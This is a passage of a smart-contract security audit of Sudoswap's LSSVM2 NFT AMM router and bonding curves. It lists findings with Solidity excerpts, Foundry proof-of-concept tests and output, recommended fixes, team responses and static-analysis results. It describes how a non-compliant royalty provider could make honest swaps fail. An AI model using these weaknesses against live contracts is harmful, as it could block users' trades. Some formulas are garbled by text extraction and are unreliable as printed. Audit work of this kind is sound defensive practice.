        external
        view
        override
        returns (address payable[] memory receivers, uint256[] memory amounts)
    {
        // Get the edition the token is part of
        uint256 _editionNumber = IKODAV2(_tokenAddress).editionOfTokenId(_id);
        require(_editionNumber > 0, "Edition not found for token ID");

        // Get existing artist commission
        (address artistAccount, uint256 artistCommissionRate) = IKODAV2(_tokenAddress).artistCommission(_editionNumber);

        // work out the expected royalty payment
        uint256 totalRoyaltyToPay = (_amount / modulo) * creatorRoyaltiesFee;

        // Get optional commission set against the edition and work out the
         ↪  expected commission
        (uint256 optionalCommissionRate, address optionalCommissionRecipient) =
            IKODAV2(_tokenAddress).editionOptionalCommission(_editionNumber);
        if (optionalCommissionRate > 0) {
            receivers = new address payable[](2);
            amounts = new uint256[](2);

            uint256 totalCommission = artistCommissionRate +
             ↪  optionalCommissionRate;

            // Add the artist and commission
            receivers[0] = payable(artistAccount);
            amounts[0] = (totalRoyaltyToPay / totalCommission) *
             ↪  artistCommissionRate;//@audit-info rounding occurs here

            // Add optional splits
            receivers[1] = payable(optionalCommissionRecipient);
            amounts[1] = (totalRoyaltyToPay / totalCommission) *
             ↪  optionalCommissionRate;//@audit-info rounding occurs here
        } else {
            receivers = new address payable[](1);
            amounts = new uint256[](1);

            // Add the artist and commission
            receivers[0] = payable(artistAccount);
            amounts[0] = totalRoyaltyToPay;
        }

        return (receivers, amounts);
    }
```

If the royalty info provider returned higher royalty for a larger sale amount, the `priceToFillAt` will be higher than the actual sale. Note that the `priceToFillAt` value calculated with the linearity assumption is used as a minimum expected output parameter for the function `ILSSVMPairERC721::swapNFTsForToken` within the swap sell logic. Similar reasoning holds for the swap-buy logic.

```
VeryFastRouter.sol
345:                    // If we can sell at least 1 item...
346:                    if (numItemsToFill != 0) {
347:                        // If property checking is needed, do the property
 ↪  check swap
348:                        if (order.doPropertyCheck) {
```

```
                        outputAmount = ILSSVMPairERC721(address(order.pair)).swapNFTsForToken(
                            order.nftIds[:numItemsToFill],
                            priceToFillAt,//@audit-info min expected output
                            swapOrder.tokenRecipient,
                            true,
                            msg.sender,
                            order.propertyCheckParams
                        );
                    }
                    // Otherwise do a normal sell swap
                    else {
                        // Get subarray if ERC721
                        if (order.isERC721) {
                            outputAmount = order.pair.swapNFTsForToken(
                                order.nftIds[:numItemsToFill], priceToFillAt, swapOrder.tokenRecipient, true, msg.sender
                            );
                        }
                        // For 1155 swaps, wrap as number
                        else {
                            outputAmount = order.pair.swapNFTsForToken(
                                _wrapUintAsArray(numItemsToFill),
                                priceToFillAt,
                                swapOrder.tokenRecipient,
                                true,
                                msg.sender
                            );
                        }
                    }
                }
```

Thus, the swap will fail if the `priceToFillAt` is calculated to be greater than the actual sale.

The Cyfrin team acknowledges that Sudoswap expects all collections to be ERC-2981 compliant, and EIP-2981 states that the royalty amount should be linear to the amount. However, tokens can use a royalty lookup that is not compliant with EIP-2981 and can be abused to prevent honest users' valid transactions, so the protocol should not rely on the assumption that the royalty amount is linear.

Impact: The linearity assumption can be violated, especially in the case of external royalty info providers (possibly malicious), and this can lead to protocol failing to behave as expected, as legitimate swaps will fail. Due to these incorrect assumptions affecting the core functions, we evaluate the severity to HIGH.

Recommended Mitigation: While we understand the protocol team intended to reduce gas costs by using the linearity assumption, we recommend using the actual royalty amount to calculate `priceToFillAt` and `numItemsToFill`.

Sudoswap: Acknowledged. It is expected that the majority of NFTs will be ERC-2981 compliant.

Cyfrin: Acknowledged.

6.2 Medium Risk

6.2.1 Possible reverts due to using stricter requirements in inner swap

Description: `VeryFastRouter::swap` relies on the internal functions `VeryFastRouter::_findMaxFillableAmtForSell` and `VeryFastRouter::_findMaxFillableAmtForBuy` to find the maximum possible amount of tokens to be swapped. The output is supposed to be the *actual* cost of the swap, and it is used as the `minExpectedTokenOutput` parameter for selling logic and the `maxExpectedTokenInput` parameter for buying logic; however, this is problematic and can lead to protocol unintended protocol behavior because the actual cost of the swap can differ from the output of these functions. We pointed out the issue with linearity assumptions in another finding, but we are raising this separately because the actual pair's swap function is being called with stricter requirements.

```
VeryFastRouter.sol
                uint256 numItemsToFill;
                uint256 priceToFillAt;

                {
                    // Grab royalty for calc in _findMaxFillableAmtForSell
                    (,, uint256 royaltyAmount) =
 ↪  order.pair.calculateRoyaltiesView(
                        order.isERC721 ? order.nftIds[0] :
 ↪  LSSVMPairERC1155(address(order.pair)).nftId(), BASE
                    );

                    // Calculate the max number of items we can sell
                    (numItemsToFill, priceToFillAt) =
 ↪  _findMaxFillableAmtForSell(//@audit-info priceToFillAt >=
 ↪  order.minExpectedOutputPerNumNFTs
                        order.pair,
                        pairSpotPrice,
                        order.minExpectedOutputPerNumNFTs,
                        protocolFeeMultiplier,
                        royaltyAmount
                    );
                }

                // If we can sell at least 1 item...
                if (numItemsToFill != 0) {
                    // If property checking is needed, do the property check swap
                    if (order.doPropertyCheck) {
                        outputAmount = ILSSVMPairERC721(address(order.pair)).swapNFTsForToken(
                            order.nftIds[:numItemsToFill],
                            priceToFillAt,//@audit-info min expected output, different from the one specified by the user
                            swapOrder.tokenRecipient,
                            true,
                            msg.sender,
                            order.propertyCheckParams
                        );
                    }
                    // Otherwise do a normal sell swap
                    else {
                        // Get subarray if ERC721
                        if (order.isERC721) {
                            outputAmount = order.pair.swapNFTsForToken(
                                order.nftIds[:numItemsToFill], priceToFillAt, swapOrder.tokenRecipient, true, msg.sender//@audit-info min expected output, different from the one specified by the user
                            );
                        }
                        // For 1155 swaps, wrap as number
                        else {
                            outputAmount = order.pair.swapNFTsForToken(
                                _wrapUintAsArray(numItemsToFill),
                                priceToFillAt,
                                swapOrder.tokenRecipient,
                                true,
                                msg.sender
                            );
                        }
                    }
                }
```

If the actual sale of the swap is lower than the output of `VeryFastRouter::`

`_findMaxFillableAmtForSell` and `VeryFastRouter::_findMaxFillableAmtForBuy`, the swap will fail, but it could have passed if the original `minExpectedOutputPerNumNFTs` and `maxCostPerNumNFTs` were used instead. If it can be guaranteed that the output of `VeryFastRouter::_findMaxFillableAmtForSell` and `VeryFastRouter::_findMaxFillableAmtForBuy` will always represent the exact sale/cost, this may be fine, but it is not clear why the original `minExpectedOutputPerNumNFTs` and `maxCostPerNumNFTs` are not used.

Impact: Although this does not lead to direct loss of funds, we are evaluating the severity of MEDIUM because it can lead to unintended protocol behavior.

Recommended Mitigation: We recommend using `minExpectedOutputPerNumNFTs` and `maxCostPerNumNFTs` instead of the output of `VeryFastRouter::_findMaxFillableAmtForSell` and `VeryFastRouter::_findMaxFillableAmtForBuy` as arguments to the actual swap functions.

Sudoswap: Acknowledged. Given that the input values are expected to be returned from the Bonding Curve, this is likely to be an extremely rare occurance.

Cyfrin: Acknowledged.

6.2.2 Different rounding directions are recommended for getting buy/sell info

Description: This issue pertains to the need for more implementation of different rounding directions for buy and sell operations in the AMM pools. In several `ICurve` implementations (`XykCurve`, `GDACurve`), the `ICurve::getBuyInfo` and `ICurve::getSellInfo` functions are implemented using the same rounding direction. This does not align with the best practices for AMM pools, which dictate that different rounding directions should be applied for buy and sell operations to prevent potential issues. The problem becomes more significant for tokens with fewer decimals, resulting in larger pricing discrepancies.

Note that `ExponentialCurve` explicitly uses different rounding directions for buy and sell operations, which aligns with the best practices.

Additionally, across all curves, calculations of the protocol and trade fees currently do not round in favor of the protocol and fee recipients, which means that value may leak from the system in favor of the traders.

Impact: The issue may result in financial loss for pair creators and negatively impact the platform's overall stability, especially for tokens with fewer decimals. We, therefore, rate the severity as MEDIUM.

Recommended Mitigation: Ensure that the buy price and protocol/trade fees are rounded up to prevent selling items at a lower price than desired and leaking value from the system.

Sudoswap: Fixed in commit 902eee.

Cyfrin: Verified.

6.2.3 GDACurve does not validate new spot price

Description: The new spot price calculated in `GDACurve::getBuyInfo` and `GDACurve::getSellInfo` is not currently validated against `MIN_PRICE`, meaning that the price could fall below this value.

```
GDACurve.sol (Line 81-91)

        // The new spot price is multiplied by alpha^n and divided by the time
        ↪  decay so future
        // calculations do not need to track number of items sold or the
        ↪  initial time/price. This new spot price
        // implicitly stores the the initial price, total items sold so far,
        ↪  and time elapsed since the start.
        {
            UD60x18 newSpotPrice_ = spotPrice_.mul(alphaPowN);
            newSpotPrice_ = newSpotPrice_.div(decayFactor);
            if (newSpotPrice_.gt(ud(type(uint128).max))) {
                return (Error.SPOT_PRICE_OVERFLOW, 0, 0, 0, 0, 0);
            } //@audit-info Missing minimum price check
            newSpotPrice = uint128(unwrap(newSpotPrice_));
        }
```

While a minimum price check is performed explicitly in `GDACurve::validateSpotPrice`, the same validation is missing when the price gets updated.

```
GDACurve.sol (Line 34-36)

    function validateSpotPrice(uint128 newSpotPrice) external pure override
     ↪  returns (bool) {
        return newSpotPrice >= MIN_PRICE;
    }
```

Since the maximum value of the decay factor is capped at a significantly large value (2ˆ20), in scenarios with high `lambda`, low initial price, and low demand (i.e. extended time intervals between successive purchases), there is a likelihood that spot price can drop below `MIN_PRICE` level (currently set to a constant value, `1 gwei`).

Impact In most cases, dutch auctions tend to quickly find buyers long before prices hit the `MIN_PRICE` levels. Also, since the GDA bonding curve is only meant to be used for single-sided pools, there does not appear to be an immediate risk of pools trading large volumes at extremely low prices. However, not having a reserve price could mean market-making for some pools can happen at extremely low prices in perpetuity.

Recommended Mitigation: As with an exponential bonding curve, we recommend introducing minimum price validation in `GDACurve::getBuyInfo` and `GDACurve::getSellInfo` when the spot price is updated.

Sudoswap: Fixed in commit c4dc61.

Cyfrin: Verified.

6.2.4 Binary search implementation may not always find the optimal solution

Description: `VeryFastRouter::_findMaxFillableAmtForBuy` and `VeryFastRouter ::_findMaxFillableAmtForSell` utilize binary search to determine the maximum trade amount. The binary search seeks a solution in a linear, sorted space based on a test function (a criteria function used to decide the next search area). However, the current implementation is unlikely to guarantee this and might either fail to find a solution or identify a suboptimal one.

First, `VeryFastRouter::_findMaxFillableAmtForSell` attempts to find a solution in an array `[1,     , minOutputPerNumNFTs.length]` and the test boolean function used is `error` = CurveErrorCodes.Error.OK || currentOutput < minOutputPerNumNFTs[(start + end) / 2 - 1] || currentOutput > pairTokenBalance!, where `currentOutput` is the number of tokens that the user will receive for the trade of `(start+end)/21` items. If we represent the test criteria as `f(x)`, where `x` is the number of items to trade, and treat `true` as `1` and `false` as `0`, then `f([1,     , minOutputPerNumNFTs.length])` should be like `[1, 1, ....1, 0, ..., 0]` and the binary search should locate the final `1`. To achieve this, each condition in the test function should produce outputs like `[1, 1, ....1, 0, ... , 0]`; otherwise, the binary search may fail to find a solution or a suboptimal one. However, `GDACurve` does not satisfy the condition `error` = CurveErrorCodes.Error.OK!. As `x` (`numItems`) increases, `alphaPowN` increases, and `newS` potPrice_ decreases. Therefore, it will return ERROR.SPOT_PRICE_OVERFLOW for x less than a specific threshold and ERROR.OK for x greater than or equal to the threshold. As a result, the output of this condition will be like [0, 0, ...0, 1, ..., 1] and not [1, 1, ...1, 0, ..., 0].

Next, in VeryFastRouter::_findMaxFillableAmtForBuy, the core criteria function for binary search is that the cost of buying i NFT's (let's call it C[i]) should be less than or equal to the max bid price placed by a user for purchasing i NFTs ((i 1) th element in the maxCostPerNumNFTs array, maxCostPerNumNFTs[i1]). The implicit assumption here is that, if C[i] > maxCostPerNumNFTs[i1], then C[j] > maxCostPerNumNFTs[j1] for all j > i. This implies that if the cost of purchasing i NFTs from the pool surpasses the maximum bid a user has placed for acquiring i NFTs, the purchase cost should persistently exceed the maximum bid even when attempting to buy a larger number of NFTs. This condition may not always hold true. For instance, if a user is solely interested in purchasing a larger collection of NFTs from a pool, they might place lower bids for buying a smaller quantity of items and more aggressive bids for acquiring a greater number of items in the pool.

Proof of Concept: Consider a situation with the following conditions:

1. A pool containing a collection of 11 NFTs with an Exponential Bonding Curve (Spot Price: 1 eth, Delta: 1.05).
2. Alice computes the maximum bids for buying a collection of NFTs using VeryFastRouter::getNFTQuoteForBuyOrderWithPartialFill.
3. Alice desires to acquire a majority of the NFTs in the pool but is not interested in purchasing if she only obtains a smaller portion of the NFTs. To achieve these goals, she adjusts her max bid array as follows.
4. Alice reduces the max bid (calculated in step 2) for purchasing up to the first 50% of the total items in the pool by 25%.
5. Alice increases the max bid (calculated in step 2) for purchasing more than 50% of the total items in the pool by 10%.

Despite Alice's bid being sufficient to buy the entire collection, her order is only partially filled, and she receives a mere 5 NFTs out of the total 11.

The code snippet below replicates this scenario:

```
    function testSwapBinarySearch_audit() public{
        //START_INDEX=0, END_INDEX=10
        uint256[] memory nftIds;
```

```
LSSVMPair pair;
uint256 numNFTsForQuote = END_INDEX + 1;

//1. create an array of nft ids
nftIds = _getArray(START_INDEX, END_INDEX);
assertEq(nftIds.length, END_INDEX - START_INDEX + 1);

//2. setup a ERC721 ETH pair with property checker is zero address and
 ↪  zero deposit amount
pair = setUpPairERC721ForSale(0, address(0), nftIds);

//3. get the inputAmount needed to buy all NFTs in the pool
(,,,uint256 inputAmount,,) = pair.getBuyNFTQuote(0, numNFTsForQuote);

//4. get partialFillAmounts
uint256[] memory partialFillAmounts =
 ↪  router.getNFTQuoteForBuyOrderWithPartialFill(pair,
 ↪  numNFTsForQuote, 0, 0);

console.log("*********Max cost generated by
 ↪  getNFTQuoteForBuyOrderWithPartialFill**********");
for(uint256 i; i< END_INDEX-START_INDEX + 1; i++){
    console.log("Max Cost (default) to buy %i items, %i", i+1,
     ↪  partialFillAmounts[i]);
}

// with no slippage, inputAmount should exactly be equal to the last
 ↪  partialFillAmount
assertEq(inputAmount, partialFillAmounts[END_INDEX-START_INDEX]);


uint256 midIndex = (END_INDEX - START_INDEX + 1 ) / 2;
console.log("**********Max cost custom created by a user**********");
 for(uint256 j; j< END_INDEX-START_INDEX + 1; j++){
    if(j <= midIndex){
            partialFillAmounts[j] -= partialFillAmounts[j] * 25 / 100;
             ↪  //@audit reduce max bid by 25%
    }
    else{
           partialFillAmounts[j] += partialFillAmounts[j] * 10 / 100;
            ↪  //@audit increase max bid by 10%
    }
    console.log("Max Cost (custom) to buy %i items, %i", j+1,
     ↪  partialFillAmounts[j]);
}
//6 creating a single buy order for the pair
VeryFastRouter.BuyOrderWithPartialFill memory buyOrder =
 ↪  VeryFastRouter.BuyOrderWithPartialFill({
    pair: pair,
    nftIds: nftIds,
    maxInputAmount: inputAmount,
    ethAmount: inputAmount,
    expectedSpotPrice: pair.spotPrice() + 1,
     ↪  //getPairBaseQuoteTokenBalancetriggers partial fill logic
    isERC721: true,
    maxCostPerNumNFTs: partialFillAmounts
});

VeryFastRouter.BuyOrderWithPartialFill[] memory buyOrders =
    new VeryFastRouter.BuyOrderWithPartialFill[](1); //adding a single
     ↪  buy order
VeryFastRouter.SellOrderWithPartialFill[] memory sellOrders; //no sell
 ↪  orders, just a 0 length array

buyOrders[0] = buyOrder;

//check that nft recipient before swap does not have any nfts
assertEq(IERC721(pair.nft()).balanceOf(NFT_RECIPIENT),0);

//-n check that pair holds all the nfts that are part of the buy order
assertEq(IERC721(pair.nft()).balanceOf(address(pair)), END_INDEX -
 ↪  START_INDEX + 1);

VeryFastRouter.Order memory swapOrder = VeryFastRouter.Order({
    buyOrders: buyOrders,
    sellOrders: sellOrders, //-n no sell orders for this case
    tokenRecipient: payable(address(TOKEN_RECIPIENT)),
    nftRecipient: NFT_RECIPIENT,
    recycleETH: false
});

// Prank as the router caller and do the swap
vm.startPrank(ROUTER_CALLER);
address tokenAddress = getTokenAddress();

// Set up approval for token if it is a token pair (for router caller)
if (tokenAddress != address(0)) {
    ERC20(tokenAddress).approve(address(router), 1e18 ether); //-n
     ↪  give approval for very high amount
    IMintable(tokenAddress).mint(ROUTER_CALLER, 1e18 ether); //-n mint
     ↪  1e18 ether
}

// // Store the swap results
uint256[] memory swapResults = router.swap{value:
 ↪  inputAmount}(swapOrder);
```

```
        vm.stopPrank();

        //-n should only have one order
        assertEq(swapResults.length, buyOrders.length);

        console.log("Total NFTs in the pair",
         ↪  IERC721(pair.nft()).balanceOf(address(pair)));
        console.log("Total NFTs received by nft recipient",
         ↪  IERC721(pair.nft()).balanceOf(NFT_RECIPIENT));

        assertEq(IERC721(pair.nft()).balanceOf(NFT_RECIPIENT), midIndex);

    }
```

Output:

```
*********Max cost generated by
 ↪  getNFTQuoteForBuyOrderWithPartialFill**********
Max Cost (default) to buy 1 items, 1710339358116313477
Max Cost (default) to buy 2 items, 3339233984893754885
Max Cost (default) to buy 3 items, 4890562200872270508
Max Cost (default) to buy 4 items, 6368017644661333008
Max Cost (default) to buy 5 items, 7775118067317583008
Max Cost (default) to buy 6 items, 9115213707942583008
Max Cost (default) to buy 7 items, 10391495270442583008
Max Cost (default) to buy 8 items, 11607001520442583008
Max Cost (default) to buy 9 items, 12764626520442583008
Max Cost (default) to buy 10 items, 13867126520442583003
Max Cost (default) to buy 11 items, 14917126520442583017
**********Max cost custom created by a user**********
Max Cost (custom) to buy 1 items, 1282754518587235108
Max Cost (custom) to buy 2 items, 2504425488670316164
Max Cost (custom) to buy 3 items, 3667921650654202881
Max Cost (custom) to buy 4 items, 4776013233495999756
Max Cost (custom) to buy 5 items, 5831338550488187256
Max Cost (custom) to buy 6 items, 6836410280956937256
Max Cost (custom) to buy 7 items, 11430644797486841308
Max Cost (custom) to buy 8 items, 12767701672486841308
Max Cost (custom) to buy 9 items, 14041089172486841308
Max Cost (custom) to buy 10 items, 15253839172486841303
Max Cost (custom) to buy 11 items, 16408839172486841318
Total NFTs in the pair 6
Total NFTs received by nft recipient 5
```

Despite the maximum bid for acquiring all 11 items being significantly higher than the true cost of the 11 items, the final outcome reveals that the user only obtains 5 items. Therefore, while users submit bids to purchase a larger quantity of NFTs, the existing implementation carries out a partial order and sells fewer NFTs to the user.

Impact: This issue does not result in an immediate financial loss. Nevertheless, users acquire fewer NFTs than they originally planned to buy. Given the significance of the core logic, the impact of this issue is considered to be MEDIUM.

Recommendation: While we acknowledge that using a brute-force approach as an alternative to binary search could consume a significant amount of gas, we suggest conducting a comprehensive examination of possible edge cases (across all curve implementations) to guarantee that the binary search yields the best solution for any reasonable user inputs.

Sudoswap: Acknowledged.

Cyfrin: Acknowledged.

6.3 Low Risk

6.3.1 Owner calling `LSSVMPair::changeSpotPrice` can cause arithmetic over/underflows on later swaps

Description: Changing the spot price to a value higher than the current ERC20 (or ETH) balance of the pair can cause unintended reverts in valid swap calls later on.

Proof of Concept:

Full proof of concept here. Snippet:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {InvariantERC721LinearERC20} from "./InvariantERC721LinearERC20.t.sol";
import {IERC721Mintable} from "../interfaces/IERC721Mintable.sol";

contract SwapArithmeticOverflow is InvariantERC721LinearERC20 {
    function setUp() public override {
        InvariantERC721LinearERC20.setUp();
    }

    function test_OverflowFail() public {
        s_pair.changeSpotPrice(20989589403855433688750111262);
        address payable msgSender =
         ↪  payable(0x0000000000000000000000000000000000004f89);
        changePrank(msgSender);

        uint256 newNFTId = 333;
        IERC721Mintable(address(s_test721)).mint(msgSender, newNFTId);
        (,,, uint256 minOutputAmount,,) = s_pair.getSellNFTQuote(newNFTId, 1);
        s_test721.approve(address(s_pair), newNFTId);
        uint256[] memory nftIds = new uint256[](1);
        nftIds[0] = newNFTId;

        vm.expectRevert("TRANSFER_FAILED");
        uint256 outputAmount = s_pair.swapNFTsForToken(nftIds,
         ↪  minOutputAmount, msgSender, false, address(0));
    }
}
```

Impact: `ILSSVMPair::swapNFTsForToken` reverts with a `TRANSFER_FAILED` error message despite the user obtaining a quote using `ILSSVMPair::getSellNFTQuote` in a prior call.

Recommended Mitigation: `ILSSVMPair::getSellNFTQuote` should return a legitimate error code if the expected output exceeds the pair's balance. This mitigates the impact on the end user trying to perform the swap. It will return a helpful error in the view function prior to the swap attempt rather than passing there, then failing on the actual attempt with an arithmetic error.

Sudoswap: Acknowledged, the risk is acceptable as it leads to reverts, but cannot affect users funds. In the case of owners adjusting price prior to a swap, the intent is for users to use the minOutput/maxInput amounts to protect themselves from excessive slippage.

Cyfrin: Acknowledged.

6.3.2 Partially fillable order could revert

Description: In the sell logic of `VeryFastRouter::swap`, the protocol does not check the fillable amount and executes the swap if `pairSpotPrice == order.expectedSpotPrice`. But this will revert if the pair has insufficient balance. On the other hand, if these criteria are not met, the protocol rechecks the max fillable amount, and a balance check is used in the binary search.

Impact: Partially fillable orders would revert unnecessarily. While this does not affect funds, users would experience a revert for valid transactions.

Recommended Mitigation: Consider handling cases where the pair has insufficient balance to prevent reverting for partially fillable orders.

Sudoswap: Acknowledged, as long as the bonding curve increases in price (i.e. price to buy the Xth item costs more than the price to buy the Xth-1 item) and the partial fill order is created in reverse order, then this issue is avoided.

Cyfrin: Acknowledged.

6.3.3 Make `LSSVMPair::call` payable to allow value to be sent with external calls

Description: Currently, `LSSVMPair::call` simply passes a value of zero; however, there may be instances in which non-zero `msg.value` is required/desired and so the function should be marked as payable to allow the owner to supply ETH for the external call.

Impact: If the owner wishes to send ETH with the external call, they cannot do so, which may impact the external call's functionality.

Recommended Mitigation: Consider allowing value to be passed to external calls by making `LSSVMPair::call` payable.

Sudoswap: Acknowledged.

Cyfrin: Acknowledged.

6.4 Informational

6.4.1 Incorrect/incomplete NatSpec & comments

The NatSpec for `LSSVMPair::getAssetRecipient` currently reads "Returns the address that assets that receives assets when a swap is done with this pair" but it should be "Returns the address that receives assets when a swap is done with this pair". Additionally, in several instances, NatSpec could be more detailed to better explain parameters and return values, e.g. `LSSVMPair::getSellNFTQuote`
.

`GDACurve::getSellInfo` has a comment which currently reads "The expected output at for an auction at index n..." but should be "The expected output for an auction at index n...".

`LSSVMPairCloner::cloneERC1155ETHPair` has a comment "RUNTIME (53 bytes of code + 61 bytes of extra data = 114 bytes)" but this should be 93 bytes of extra data, so 146 bytes total which corresponds to 0x92 runtime size above. The same is true of `LSSVMPairCloner::cloneERC1155ERC20Pair`, which has the comment "RUNTIME (53 bytes of code + 81 bytes of extra data = 134 bytes)" but this should be 113 bytes of extra data, so 166 bytes total which corresponds to 0xa6 runtime size above.

The comment "this is the max cost we are willing to pay, zero-indexed" in `VeryFastRouter::_findMaxFillableAmtForSell` should be “this is the minimum output we are expecting from the sale, zero-indexed”.

Sudoswap: Fixed in commits cb98b6 and 9bf4be.

Cyfrin: Verified.

6.4.2 Unreachable code path in `RoyaltyEngine::_getRoyaltyAndSpec`

Within `RoyaltyEngine`, `int16` values have been copied over from the manifold contract for use as enum values relating to different royalty specifications with `int16 private constant NONE= 1;` and `int16 private constant NOT_CONFIGURED= 0;`. The if case in `RoyaltyEngine::_getRoyaltyAndSpec` catches `spec <= NOT_CONFIGURED` so the following code in the else block is not reachable and can be removed.

```
if (spec == NONE) {
    return (recipients, amounts, spec, royaltyAddress, addToCache);
}
```

Sudoswap: Fixed in commit 9bf4be.

Cyfrin: Acknowledged.

6.4.3 `vm.prank()` before nested function call in tests does not work as intended

Foundry’s prank cheat code applies to the next external call only. Nested calls are evaluated right-to-left, and so the prank is not applied as intended. Either cache necessary function calls as local variables or use `vm.startPrank(addr)` and `vm.stopPrank()`. Extending tests to assert for expected event emissions is recommended and should help to catch cases like this.

Sudoswap: Acknowledged.

Cyfrin: Acknowledged.

6.4.4 Event parameter names are incorrect

The first parameter in each of these `LSSVMPair` events is named incorrectly:

```
event SwapNFTInPair(uint256 amountIn, uint256[] ids);
event SwapNFTInPair(uint256 amountIn, uint256 numNFTs);
event SwapNFTOutPair(uint256 amountOut, uint256[] ids);
event SwapNFTOutPair(uint256 amountOut, uint256 numNFTs);
```

They should instead look like this:

```
event SwapNFTInPair(uint256 amountOut, uint256[] ids);
event SwapNFTInPair(uint256 amountOut, uint256 numNFTs);
event SwapNFTOutPair(uint256 amountIn, uint256[] ids);
event SwapNFTOutPair(uint256 amountIn, uint256 numNFTs);
```

Sudoswap: Fixed in commit 29449e.

Cyfrin: Verified.

6.4.5 `LSSVMPair` does not inherit `ILSSVMPair`

The interface `ILSSVMPair` is defined and used in several places, but the abstract `LSSVMPair` does not inherit from it. Consider adding `is ILSSVMPair` to the `LSSVMPair` contract declaration.

Sudoswap: Acknowledged.

Cyfrin: Acknowledged.

6.4.6 `MerklePropertyChecker::hasProperties` does not validate `ids.length` equals `proofList.length`

This function loops over supplied ids and performs proof verification to ensure each id is valid. If additional proofs are supplied, the loop will terminate before these are reached and so they are never used in verification, but it is generally best practice to validate array lengths are equal.

Sudoswap: Fixed in commit 0f8f94.

Cyfrin: Verified.

6.5 Gas Optimizations

6.5.1 Redundant zero address check in `LSSVMPair::initialize`

The initializer argument `_assetRecipient` is assigned to the state variable only if it is not the zero address; however, in `LSSVMPair::getAssetRecipient`, the owner address is returned if `assetRecipient` is the zero address, and so this check is redundant. The default value is `address(0)`, and it will only be used in the `LSSVMPair::getAssetRecipient` function. For `LSSVMPair::getFeeRecipient` , fees will accrue on the pair contract itself in the case of a zero address asset recipient.

6.5.2 Redundant zero value check in `LSSVMPair::getBuyNFTQuote` and `LSSVMPair::getSellNFTQuote`

The `numNFTs` argument to `LSSVMPair::getBuyNFTQuote` is validated to be a non-zero value; however, in `ICurve::getBuyNFTQuote`, all current implementations revert if the `numItems` parameter is zero, and so this check on the pair is redundant. The same reasoning applies to `LSSVMPair::getSellNFTQuote`.

6.5.3 Simplify `LSSVMPair::_calculateBuyInfoAndUpdatePoolParams` and `LSSVMPair::_calculateSellInfoAndUpdatePoolParams` conditionals

Per the comment "Consolidate writes to save gas" in `LSSVMPair::_calculateBuyInfoAndUpdatePoolParams`, further optimizations can be made by reducing the logic to two if statements and storing values/emitting events together as follows:

```
// Consolidate writes to save gas
// Emit spot price update if it has been updated
if (currentSpotPrice != newSpotPrice) {
    spotPrice = newSpotPrice;
    emit SpotPriceUpdate(newSpotPrice);
}

// Emit delta update if it has been updated
if (currentDelta != newDelta) {
    delta = newDelta;
    emit DeltaUpdate(newDelta);
}
```

The same recommendation applies to `LSSVMPair::_calculateSellInfoAndUpdatePoolParams`.

6.5.4 Cache local variable earlier in `LSSVMPairERC20::_pullTokenInputs`

Given that there are multiple instances where `token()` is called directly, the local variable `ERC20 token_ = token()` should be cached in the same manner as `_assetRecipient` at the start of the function to reduce the number of storage reads.

It is also recommended to cache `factory()` in `LSSVMPairERC1155::swapTokenForSpecificNFTs` and `LSSVMPairERC721::swapTokenForSpecificNFTs`. There is no need to cache `poolType()` in `LSSVMPairERC1155::swapNFTsForToken`, `LSSVMPairERC721::swapTokenForSpecificNFTs` and `LSSVMPairERC721::_swapNFTsForToken` as it is used only once.

7 Additional Comments

We have identified several findings that were also highlighted in the Sudoswap LSSVM2 Security Review by Spearbit. While already acknowledged by the Sudorandom Labs team, we are highlighting them again here as we believe they are issues still worth resolving. In particular, these include:

- `VeryFastRouter::swap` could mix tokens with ETH (Spearbit 5.2.4) which could be chained with our 6.1.2
- User can lose excess NFTs on calling `ILSSVMPair::swapNFTsForToken` for a pool with `LinearCurve` (Spearbit 5.2.9)
- Divisions in `ICurve::getBuyInfo` and `ICurve::getSellInfo` may be rounded down to 0 (Spearbit 5.3.19)

8 Appendix

8.1 4nalyz3r Output

Attached below is the output of running the 4nalyz3r static analysis tool on the contracts in this repository:

8.1.1 Gas Optimizations

	Issue
GAS-1	Use `selfbalance()` instead of `address(this).balance`
GAS-2	Use assembly to check for `address(0)`
GAS-3	`array[index] += amount` is cheaper than `array[index] = array[index] + a`
GAS-4	Using bools for storage incurs overhead
GAS-5	Cache array length outside of loop
GAS-6	Use calldata instead of memory for function arguments that do not get mutate
GAS-7	Use Custom Errors
GAS-8	Don't initialize variables with default value
GAS-9	Using `private` rather than `public` for constants, saves gas
GAS-10	Use shift Right/Left instead of division/multiplication if possible
GAS-11	Use `storage` instead of `memory` for structs/arrays
GAS-12	Use != 0 instead of > 0 for unsigned integer comparison
GAS-13	`internal` functions not called by the contract should be removed

[GAS-1] Use `selfbalance()` instead of `address(this).balance` Use assembly when getting a contract's balance of ETH.

You can use `selfbalance()` instead of `address(this).balance` when getting your contract's balance of ETH to save gas. Additionally, you can use `balance (address)` instead of `address.balance()` when getting an external contract's balance of ETH.

Saves 15 gas when checking internal balance, 6 for external

Instances (4):

```
File: LSSVMPairETH.sol

91:         withdrawETH(address(this).balance);
```

```
File: LSSVMPairFactory.sol

421:        protocolFeeRecipient.safeTransferETH(address(this).balance);
```

```
File: VeryFastRouter.sol

172:                balance = address(pair).balance;
```

```
File: settings/Splitter.sol

27:         uint256 ethBalance = address(this).balance;
```

[GAS-2] Use assembly to check for `address(0)`   *Saves 6 gas per instance*

Instances (10):

```
File: LSSVMPair.sol

139:        if (owner() != address(0)) revert LSSVMPair__AlreadyInitialized();

152:        if (_assetRecipient != address(0)) {

333:        if (_assetRecipient == address(0)) {

346:        if (_feeRecipient == address(0)) {
```

```
File: LSSVMPairFactory.sol

438:        if (_protocolFeeRecipient == address(0)) revert
 ↪  LSSVMPairFactory__ZeroAddress();

501:        if (settingsAddress == address(0)) {
```

```
File: erc721/LSSVMPairERC721.sol
```

```
98:             if (propertyChecker() != address(0)) revert
 ↪  LSSVMPairERC721__NeedPropertyChecking();

255:                 if ((numNFTs > 1) && (propertyChecker() == address(0))) {
```

```
File: lib/OwnableWithTransferCallback.sol

46:         if (newOwner == address(0)) revert Ownable_NewOwnerZeroAddress();
```

```
File: settings/StandardSettings.sol

45:         require(owner() == address(0), "Initialized");
```

[GAS-3] `array[index] += amount` **is cheaper than** `array[index] = array[index] + amount` **(or related variants)** When updating a value in an array with arithmetic, using `array[index] += amount` is cheaper than `array[index] + amount`. This is because you avoid an additonal `mload` when the array is stored in memory, and an `sload` when the array is stored in storage. This can be applied for any arithmetic operation including +=, =,/=,*=,^=,&=, %=, <<=,>>=, and >>>=. This optimization can be particularly significant if the pattern occurs during a loop.

Saves 28 gas for a storage array, 38 for a memory array

Instances (2):

```
